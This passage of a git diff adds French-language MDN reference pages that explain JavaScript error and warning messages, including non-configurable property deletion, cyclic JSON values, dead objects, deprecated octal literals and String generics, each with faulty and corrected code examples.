+<p>Une instruction demande la suppression d'une propriété <a href="/fr/docs/Web/JavaScript/Structures_de_données#Propriétés">non-configurable</a>. L'attribut <code>configurable</code> permet de contrôler si la propriété peut être supprimée de l'objet auquel elle est rattachée et si ces attributs (en dehors de <code>writable</code>) peuvent être modifiés.</p>
+
+<p>Cette erreur ne se produit qu'en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>. En mode non-strict, l'opération de suppression renverra <code>false</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les propriétés non-configurables ne sont pas très fréquentes mais il est possible d'en créer grâce à {{jsxref("Object.defineProperty()")}} ou à  {{jsxref("Object.freeze()")}}.</p>
+
+<pre class="brush: js example-bad">"use strict";
+var obj = Object.freeze({name: "Elsa", score: 157});
+delete obj.score;  // TypeError
+
+"use strict";
+var obj = {};
+Object.defineProperty(obj, "toto", {value: 2, configurable: false});
+delete obj.toto;  // TypeError
+
+"use strict";
+var frozenArray = Object.freeze([0, 1, 2]);
+frozenArray.pop();  // TypeError
+</pre>
+
+<p>Certaines propriétés natives de JavaScript sont non-configurables. Peut-être que le code tente de supprimer une constante mathématique :</p>
+
+<pre class="brush: js example-bad">"use strict";
+delete Math.PI;  // TypeError</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete">L'opérateur <code>delete</code></a></li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/cant_redefine_property/index.html b/files/fr/web/javascript/reference/erreurs/cant_redefine_property/index.html
new file mode 100644
index 0000000000..408d60151a
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/cant_redefine_property/index.html
@@ -0,0 +1,51 @@
+---
+title: 'TypeError: can''t redefine non-configurable property "x"'
+slug: Web/JavaScript/Reference/Erreurs/Cant_redefine_property
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: Cannot modify non-writable property {x} (Edge)
+TypeError: can't redefine non-configurable property "x" (Firefox)
+TypeError: Cannot redefine property: "x" (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>On essaie de redéfinir une propriété alors que celle-ci est <a href="/fr/docs/Web/JavaScript/Structures_de_données#Propriétés">non-configurable</a>. L'attribut <code>configurable</code> permet d'indiquer si la propriété peut être supprimée d'un objet et si ses attributs (en dehors de <code>writable</code>) peuvent être modifiés. Généralement, les propriétés d'un objet créées avec un <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet">initialisateur d'objet</a> sont configurables. Cependant, lorsqu'on utilise la méthode {{jsxref("Object.defineProperty()")}}, la propriété n'est pas configurable par défaut.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Propriétés_non-configurables_créées_avec_Object.defineProperty()">Propriétés non-configurables créées avec <code>Object.defineProperty()</code></h3>
+
+<p>La méthode {{jsxref("Object.defineProperty()")}} crée des propriétés non-configurables si on n'indique pas le contraire :</p>
+
+<pre class="brush: js example-bad">var obj = Object.create({});
+Object.defineProperty(obj, "toto", {value: "machin"});
+
+Object.defineProperty(obj, "toto", {value: "bidule"});
+// TypeError: can't redefine non-configurable property "toto"
+</pre>
+
+<p>Si on veut pouvoir redéfinir la propriété "toto" dans la suite du code, il faudra la créer comme étant configurable.</p>
+
+<pre class="brush: js example-good">var obj = Object.create({});
+Object.defineProperty(obj, "toto", {value: "machin", configurable: true});
+Object.defineProperty(obj, "toto", {value: "bidule", configurable: true});</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Structures_de_données#Propriétés">[[Configurable]]</a></li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/cyclic_object_value/index.html b/files/fr/web/javascript/reference/erreurs/cyclic_object_value/index.html
new file mode 100644
index 0000000000..254ee63c08
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/cyclic_object_value/index.html
@@ -0,0 +1,68 @@
+---
+title: 'TypeError: cyclic object value'
+slug: Web/JavaScript/Reference/Erreurs/Cyclic_object_value
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Cyclic_object_value
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: cyclic object value (Firefox)
+TypeError: Converting circular structure to JSON (Chrome and Opera)
+TypeError: Circular reference in value argument not supported (Edge)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Lorsqu'on appelle la méthode {{jsxref("JSON.stringify()")}}, les structures de références cycliques ne peuvent pas être converties en chaîne de caractères car <a href="https://www.json.org/">le format JSON</a> ne prend pas en charge les références (bien qu'<a href="http://tools.ietf.org/html/draft-pbryan-zyp-json-ref-03">un brouillon IETF existe</a>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Avec une structure circulaire comme la suivante :</p>
+
+<pre class="brush: js">var a = {};
+var b = {};
+a.child = b;
+b.child = a;
+</pre>
+
+<p>{{jsxref("JSON.stringify()")}} échouera :</p>
+
+<pre class="brush: js example-bad">JSON.stringify(a);
+// TypeError: cyclic object value
+</pre>
+
+<p>Il est nécessaire de contrôler l'existence de cycles avant la conversion en chaîne de caractères. On peut par exemple fournir une fonction de remplacement comme deuxième argument de la fonction {{jsxref("JSON.stringify()")}}.</p>
+
+<pre class="brush: js">const getCircularReplacer = () =&gt; {
+  const seen = new WeakSet();
+  return (key, value) =&gt; {
+    if (typeof value === "object" &amp;&amp; value !== null) {
+      if (seen.has(value)) {
+        return;
+      }
+      seen.add(value);
+    }
+    return value;
+  };
+};
+
+JSON.stringify(circularReference, getCircularReplacer());
+// {"otherData":123}</pre>
+
+<p>On peut également utiliser une bibliothèque ou une fonction utilitaire pour ce scénario. comme <a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("JSON.stringify")}}</li>
+ <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> qui introduit deux fonctions : <code>JSON.decycle</code> <code>et JSON.retrocycle</code> qui permettent d'encoder et de décoder des structures cycliques en JSON.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/dead_object/index.html b/files/fr/web/javascript/reference/erreurs/dead_object/index.html
new file mode 100644
index 0000000000..d65d10f5e0
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/dead_object/index.html
@@ -0,0 +1,49 @@
+---
+title: 'TypeError: can''t access dead object'
+slug: Web/JavaScript/Reference/Erreurs/Dead_object
+tags:
+  - Erreurs
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Dead_object
+---
+<div>{{JSSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: can't access dead object
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Afin d'améliorer l'utilisation de la mémoire et de prévenir les fuites mémoire, Firefox empêche les modules complémentaires de conserver des références fortes vers les objets du DOM après que leur document parent a été détruit. Un objet mort (<em>dead</em>) est un objet qui contient une référence forte vers un éléments du DOM, même après que celui-ci a été détruit dans le DOM. Pour éviter ces problèmes, les références aux objets du DOM d'un document étranger devraient être enregistrées dans un objet spécifique à ce document et être nettoyées lors de la suppression du document. On peut également utiliser les objets qui permettent d'enregistrer <a href="/fr/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils.getWeakReference">des références faibles</a>.</p>
+
+<h2 id="Vérifier_si_un_objet_est_mort">Vérifier si un objet est mort</h2>
+
+<p><code><a href="/fr/docs/Components.utils">Components.utils</a></code> fournit une méthode <code>isDeadWrapper()</code> qui peut être utilisée par du code privilégié :</p>
+
+<pre class="brush: js">if (Components.utils.isDeadWrapper(window)) {
+  // dead
+}</pre>
+
+<p>Du code sans privilège ne pourra pas accéder à <code>Component.utils</code> et pourra simplement intercepter l'exception :</p>
+
+<pre class="brush: js">try {
+  String(window);
+}
+catch (e) {
+  console.log("window est problablement mort ");
+}</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://blog.mozilla.org/addons/2012/09/12/what-does-cant-access-dead-object-mean/">Que signifie “can’t access dead object” ? (en anglais)</a></li>
+ <li><a href="/fr/docs/Extensions/Common_causes_of_memory_leaks_in_extensions">Les causes principales des fuites mémoire dans les extensions</a></li>
+ <li><code><a href="/fr/docs/Components.utils">Components.utils</a></code></li>
+ <li><a href="/en-US/docs/Mozilla/Zombie_compartments#Zombie_compartments">Compartiments zombies</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/delete_in_strict_mode/index.html b/files/fr/web/javascript/reference/erreurs/delete_in_strict_mode/index.html
new file mode 100644
index 0000000000..17b92c307f
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/delete_in_strict_mode/index.html
@@ -0,0 +1,68 @@
+---
+title: >-
+  SyntaxError: applying the 'delete' operator to an unqualified name is
+  deprecated
+slug: Web/JavaScript/Reference/Erreurs/Delete_in_strict_mode
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Calling delete on expression not allowed in strict mode (Edge)
+SyntaxError: applying the 'delete' operator to an unqualified name is deprecated (Firefox)
+SyntaxError: Delete of an unqualified identifier in strict mode. (Chrome)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}, uniquement en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Les variables JavaScript ne peuvent pas être supprimées grâce à l'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete">delete</a></code>. En mode strict, toute tentative de suppression d'une variable lèvera une exception.</p>
+
+<p>L'opérateur <code>delete</code> sert uniquement à supprimer des propriétés sur un objet. Les propriétés d'un objet sont « qualifiées » si elles sont configurables.</p>
+
+<p>Contrairement à ce qu'on pourrait penser, l'opérateur <code>delete</code> n'a rien à voir avec la libération de la mémoire. La gestion de la mémoire se fait indirectement en cassant les références utilisées. Pour plus d'informations, consulter les pages sur <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete">delete</a></code> et <a href="/fr/docs/Web/JavaScript/Gestion_de_la_mémoire">la gestion de la mémoire en JavaScript</a>.</p>
+
+<p>Cette erreur ne se produit qu'en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>. En mode non-strict, l'opération renvoie simplement <code>false</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Essayer de supprimer une variable normale avec <code>delete</code> ne fonctionne pas, voire lève une exception en mode strict :</p>
+
+<pre class="brush: js example-bad">'use strict';
+
+var x;
+
+// ...
+
+delete x;
+
+// SyntaxError: applying the 'delete' operator to
+// an unqualified name is deprecated
+</pre>
+
+<p>Pour libérer le contenu d'une variable, on peut la passer à {{jsxref("null")}} :</p>
+
+<pre class="brush: js example-good">'use strict';
+
+var x;
+// ...
+x = null;
+
+// x peut être ramassée par le ramasse-miettes
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete">delete</a></code></li>
+ <li><a href="/fr/docs/Web/JavaScript/Gestion_de_la_mémoire">La gestion de la mémoire en JavaScript</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Cant_delete">TypeError: property "x" is non-configurable and can't be deleted</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_caller_or_arguments_usage/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_caller_or_arguments_usage/index.html
new file mode 100644
index 0000000000..da214bc213
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/deprecated_caller_or_arguments_usage/index.html
@@ -0,0 +1,75 @@
+---
+title: 'ReferenceError: deprecated caller or arguments usage'
+slug: Web/JavaScript/Reference/Erreurs/Deprecated_caller_or_arguments_usage
+tags:
+  - Erreur
+  - JavaScript
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: 'arguments', 'callee' and 'caller' are restricted function properties and cannot be accessed in this context (Edge)
+Warning: ReferenceError: deprecated caller usage (Firefox)
+Warning: ReferenceError: deprecated arguments usage (Firefox)
+TypeError: 'callee' and 'caller' cannot be accessed in strict mode. (Safari)
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Un avertissement uniquement affiché en mode strict qui prend la forme d'une {{jsxref("ReferenceError")}}. L'exécution du script JavaScript n'est pas interrompue.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">En mode strict</a>, les propriétés {{jsxref("Function.caller")}} et/ou {{jsxref("Function.arguments")}} sont utilisées alors qu'elles ne devraient pas l'être. Ces propriétés sont dépréciées car elles font fuiter des informations sur l'appelant de la fonction et ne sont pas standards. De plus, ces propriétés rendent certaines optimisations plus complexe et peuvent nuire aux performances.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_function.caller_ou_de_arguments.callee.caller">Utilisation de <code>function.caller</code> ou de <code>arguments.callee.caller</code></h3>
+
+<p>{{jsxref("Function.caller")}} et <code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments/callee">arguments.callee.caller</a></code> sont dépréciées (se référer aux articles de la référence pour plus d'informations).</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+function myFunc() {
+  if (myFunc.caller == null) {
+    return 'La fonction a été appelée depuis la portée globale !';
+  } else {
+    return 'L\'appelant est ' + myFunc.caller;
+  }
+}
+
+myFunc();
+// Warning: ReferenceError: deprecated caller usage
+// "La fonction a été appelée depuis la portée globale !"</pre>
+
+<h3 id="Function.arguments"><code>Function.arguments</code></h3>
+
+<p>{{jsxref("Function.arguments")}} est dépréciée (se référer à l'article sur cette propriété pour plus d'informations).</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+function f(n) { g(n - 1); }
+
+function g(n) {
+  console.log('before: ' + g.arguments[0]);
+  if (n &gt; 0) { f(n); }
+  console.log('after: ' + g.arguments[0]);
+}
+
+f(2);
+
+console.log('returned: ' + g.arguments);
+// Warning: ReferenceError: deprecated arguments usage
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/JavaScript/Reference/Annexes/Fonctionnalités_dépréciées">Les fonctionnalités obsolètes et dépréciées</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">Le mode strict</a></li>
+ <li>{{jsxref("Function.arguments")}}</li>
+ <li>{{jsxref("Function.caller")}} and <code><a href="/fr/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee.caller</a></code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_expression_closures/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_expression_closures/index.html
new file mode 100644
index 0000000000..ac1b7d53b9
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/deprecated_expression_closures/index.html
@@ -0,0 +1,79 @@
+---
+title: 'Warning: expression closures are deprecated'
+slug: Web/JavaScript/Reference/Erreurs/Deprecated_expression_closures
+tags:
+  - Avertissement
+  - JavaScript
+  - Warning
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_expression_closures
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Warning: expression closures are deprecated
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Un avertissement, l'exécution du code JavaScript ne sera pas interrompue.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>La syntaxe non-standard avec <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Expression_closures">une expression de fermeture</a> est dépréciée et ne devrait plus être utilisée. Cette syntaxe sera complètement retirée avec le bug {{bug(1083458)}} et les scripts qui l'utilisent déclencheront alors une exception {{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Syntaxe_dépréciée">Syntaxe dépréciée</h3>
+
+<p>Les expression de fermeture permettent de ne pas utiliser les accolades ou les instructions <code>return</code> au sein d'une déclaration de fonction ou pour une définition de méthode dans un objet.</p>
+
+<pre class="brush: js example-bad">var x = function() 1;
+
+var obj = {
+  count: function() 1
+};
+</pre>
+
+<h3 id="Syntaxe_standard">Syntaxe standard</h3>
+
+<p>Pour convertir cette syntaxe non-standard en une syntaxe standard, il suffit d'ajouter des accolades et l'instruction return.</p>
+
+<pre class="brush: js example-good">var x = function() { return 1; }
+
+var obj = {
+  count: function() { return 1; }
+};
+</pre>
+
+<h3 id="Syntaxe_standard_avec_les_fonctions_fléchées">Syntaxe standard avec les fonctions fléchées</h3>
+
+<p>On peut aussi utiliser <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">les fonctions fléchées</a> :</p>
+
+<pre class="brush: js example-good">var x = () =&gt; 1;</pre>
+
+<h3 id="Syntaxe_standard_avec_la_notation_raccourcie_pour_les_méthodes">Syntaxe standard avec la notation raccourcie pour les méthodes</h3>
+
+<p>On retrouve parfois les expressions de fermeture dans les accesseurs et les mutateurs, par exemple :</p>
+
+<pre class="brush: js example-bad">var obj = {
+  get x() 1,
+  set x(v) this.v = v
+};
+</pre>
+
+<p>Grâce aux <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Définition_de_méthode">définitions de méthodes</a> ES2015, on peut convertir le fragment de code précédent en :</p>
+
+<pre class="brush: js example-good">var obj = {
+  get x() { return 1 },
+  set x(v) { this.v = v }
+};
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Expression_closures">Les expressions de fermeture</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">Les fonctions fléchées</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Définition_de_méthode">Les définitions de méthode</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_octal/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_octal/index.html
new file mode 100644
index 0000000000..72f6d1f3b2
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/deprecated_octal/index.html
@@ -0,0 +1,68 @@
+---
+title: 'SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated'
+slug: Web/JavaScript/Reference/Erreurs/Deprecated_octal
+tags:
+  - Erreurs
+  - JavaScript
+  - Mode strict
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_octal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: Octal numeric literals and escape characters not allowed in strict mode (Edge)
+SyntaxError:
+"0"-prefixed octal literals and octal escape sequences are deprecated;
+for octal literals use the "0o" prefix instead
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>{{jsxref("SyntaxError")}}, uniquement en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Les littéraux en base octale et les séquences d'échappement octales sont dépréciées et lèvent une exception {{jsxref("SyntaxError")}} en mode strict. À partir d'ECMAScript 2015, la syntaxe standard utilise un zéro suivi de la lettre « o » (en minuscule ou en majuscule) (<code>0o</code> or <code>0O)</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Littéraux_en_base_octale_préfixés_par_0">Littéraux en base octale préfixés par 0</h3>
+
+<pre class="brush: js example-bad">"use strict";
+
+03;
+
+// SyntaxError: "0"-prefixed octal literals and octal escape sequences
+// are deprecated</pre>
+
+<h3 id="Séquences_d'échappement_en_base_octale">Séquences d'échappement en base octale</h3>
+
+<pre class="brush: js example-bad">"use strict";
+
+"\251";
+
+// SyntaxError: "0"-prefixed octal literals and octal escape sequences
+// are deprecated
+</pre>
+
+<h3 id="Littéraux_valides">Littéraux valides</h3>
+
+<p>Pour former un littéral en base octal, on pourra utiliser un zéro suivi de la lettre « o » :</p>
+
+<pre class="brush: js example-good">0o3;
+</pre>
+
+<p>Pour former une séquence d'échappement en base octale, on écrira une séquence d'échappement en base hexadécimale :</p>
+
+<pre class="brush: js example-good">'\xA9';</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Octaux">La grammaire lexicale JavaScript</a></li>
+ <li>
+  <p><a href="/fr/docs/Web/JavaScript/Reference/Erreurs/Bad_octal">Warning: 08/09 is not a legal ECMA-262 octal constant</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_source_map_pragma/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_source_map_pragma/index.html
new file mode 100644
index 0000000000..a9e4ce66ff
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/deprecated_source_map_pragma/index.html
@@ -0,0 +1,58 @@
+---
+title: >-
+  SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //#
+  instead
+slug: Web/JavaScript/Reference/Erreurs/Deprecated_source_map_pragma
+tags:
+  - Erreurs
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Warning: SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead
+
+Warning: SyntaxError: Using //@ to indicate sourceMappingURL pragmas is deprecated. Use //# instead
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Un avertissement prenant la forme d'une exception {{jsxref("SyntaxError")}}. L'exécution du code JavaScript n'est pas interrompue.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Une syntaxe dépréciée a été utilisée pour indiquer une correspondance de source (<em>source map</em>) dans le code JavaScript.</p>
+
+<p>Il arrive souvent que les fichiers sources JavaScript soient combinés et minifiés afin que le transfert depuis le serveur vers le client soit plus efficace. Grâce <a href="http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/">aux correspondances de source (ou <em>source maps</em>)</a>, le débogueur peut utiliser les sources des fichiers correspondants aux fichiers minifiés.</p>
+
+<p>La spécification sur cet outil a évolué car il existait un conflit de syntaxe avec IE (après <code>//@cc_on</code>, la correspondance était interprétée comme un test conditionnel de compilation du moteur JScript).<a href="https://msdn.microsoft.com/en-us/library/8ka90k2e%28v=vs.94%29.aspx"> Ce commentaire de compilation conditionnelle</a> pour IE est peu connu mais son existence entraînait des erreurs avec <a href="https://bugs.jquery.com/ticket/13274">jQuery</a> et d'autres bibliothèques.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Syntaxe_dépréciée">Syntaxe dépréciée</h3>
+
+<p>La syntaxe utilisant l'arobase (@) est dépréciée :</p>
+
+<pre class="brush: js example-bad">//@ sourceMappingURL=http://exemple.com/chemin/vers/la/sourcemap.map
+</pre>
+
+<h3 id="Syntaxe_standard">Syntaxe standard</h3>
+
+<p>Il faut utiliser le dièse (#) :</p>
+
+<pre class="brush: js example-good">//# sourceMappingURL=http://exemple.com/chemin/vers/la/sourcemap.map</pre>
+
+<p>Autrement, on peut indiquer la correspondance dans un en-tête {{HTTPHeader("SourceMap")}} pour servir le fichier JavaScript afin d'éviter tout commentaire :</p>
+
+<pre class="brush: js example-good">X-SourceMap: /path/to/file.js.map</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Outils/Débogueur/Comment/Utiliser_une_source_map">Comment utiliser les <em>source map</em> – Documentation des outils Firefox</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/">Introduction to source maps – HTML5 rocks</a></li>
+ <li>{{HTTPHeader("SourceMap")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_string_generics/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_string_generics/index.html
new file mode 100644
index 0000000000..29cedde5b1
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/deprecated_string_generics/index.html
@@ -0,0 +1,105 @@
+---
+title: 'Warning: String.x is deprecated; use String.prototype.x instead'
+slug: Web/JavaScript/Reference/Erreurs/Deprecated_String_generics
+tags:
+  - Avertissement
+  - JavaScript
+  - Warning
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_String_generics
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<div>Les méthodes génériques pour les chaînes de caractères ont été retirées à partir de Firefox 68.</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Warning: String.charAt            is deprecated; use String.prototype.charAt            instead
+Warning: String.charCodeAt        is deprecated; use String.prototype.charCodeAt        instead
+Warning: String.concat            is deprecated; use String.prototype.concat            instead
+Warning: String.contains          is deprecated; use String.prototype.contains          instead
+Warning: String.endsWith          is deprecated; use String.prototype.endsWith          instead
+Warning: String.includes          is deprecated; use String.prototype.includes          instead
+Warning: String.indexOf           is deprecated; use String.prototype.indexOf           instead
+Warning: String.lastIndexOf       is deprecated; use String.prototype.lastIndexOf       instead
+Warning: String.localeCompare     is deprecated; use String.prototype.localeCompare     instead
+Warning: String.match             is deprecated; use String.prototype.match             instead
+Warning: String.normalize         is deprecated; use String.prototype.normalize         instead
+Warning: String.replace           is deprecated; use String.prototype.replace           instead
+Warning: String.search            is deprecated; use String.prototype.search            instead
+Warning: String.slice             is deprecated; use String.prototype.slice             instead
+Warning: String.split             is deprecated; use String.prototype.split             instead
+Warning: String.startsWith        is deprecated; use String.prototype.startsWith        instead
+Warning: String.substr            is deprecated; use String.prototype.substr            instead
+Warning: String.substring         is deprecated; use String.prototype.substring         instead
+Warning: String.toLocaleLowerCase is deprecated; use String.prototype.toLocaleLowerCase instead
+Warning: String.toLocaleUpperCase is deprecated; use String.prototype.toLocaleUpperCase instead
+Warning: String.toLowerCase       is deprecated; use String.prototype.toLowerCase       instead
+Warning: String.toUpperCase       is deprecated; use String.prototype.toUpperCase       instead
+Warning: String.trim              is deprecated; use String.prototype.trim              instead
+Warning: String.trimLeft          is deprecated; use String.prototype.trimLeft          instead
+Warning: String.trimRight         is deprecated; use String.prototype.trimRight         instead
+</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Un avertissement, l'exécution du script n'est pas interrompue.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
+
+<p>Les méthodes génériques non-standards de {{jsxref("String")}} sont dépréciées et ont été retirées à partir de Firefox 68 (il n'y a pas de prise en charge des navigateurs en dehors de Firefox). Les méthodes génériques sont des méthodes utilisées pour manipuler les instances de ce type d'objet et qui sont disponibles sur l'objet <code>String</code>, ce qui permet de les appliquer à n'importe quel objet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Syntaxe_dépréciée">Syntaxe dépréciée</h3>
+
+<pre class="brush: js example-bad">var num = 15;
+String.replace(num, /5/, '2');</pre>
+
+<h3 id="Syntaxe_standard">Syntaxe standard</h3>
+
+<pre class="brush: js example-good">var num = 15;
+String(num).replace(/5/, '2');
+</pre>
+
+<h2 id="Shim">Shim</h2>
+
+<p>Voici une méthode qui permet d'avoir les méthodes génériques au sein des navigateurs qui ne les prennent pas en charge :</p>
+
+<pre class="brush: js">/*globals define*/
+// Assumes all supplied String instance methods already present
+// (one may use shims for these if not available)
+(function() {
+  'use strict';
+
+  var i,
+    // We could also build the array of methods with the following, but the
+    //   getOwnPropertyNames() method is non-shimable:
+    // Object.getOwnPropertyNames(String).filter(function(methodName) {
+    //   return typeof String[methodName] === 'function';
+    // });
+    methods = [
+      'contains', 'substring', 'toLowerCase', 'toUpperCase', 'charAt',
+      'charCodeAt', 'indexOf', 'lastIndexOf', 'startsWith', 'endsWith',
+      'trim', 'trimLeft', 'trimRight', 'toLocaleLowerCase', 'normalize',
+      'toLocaleUpperCase', 'localeCompare', 'match', 'search', 'slice',
+      'replace', 'split', 'substr', 'concat', 'localeCompare'
+    ],
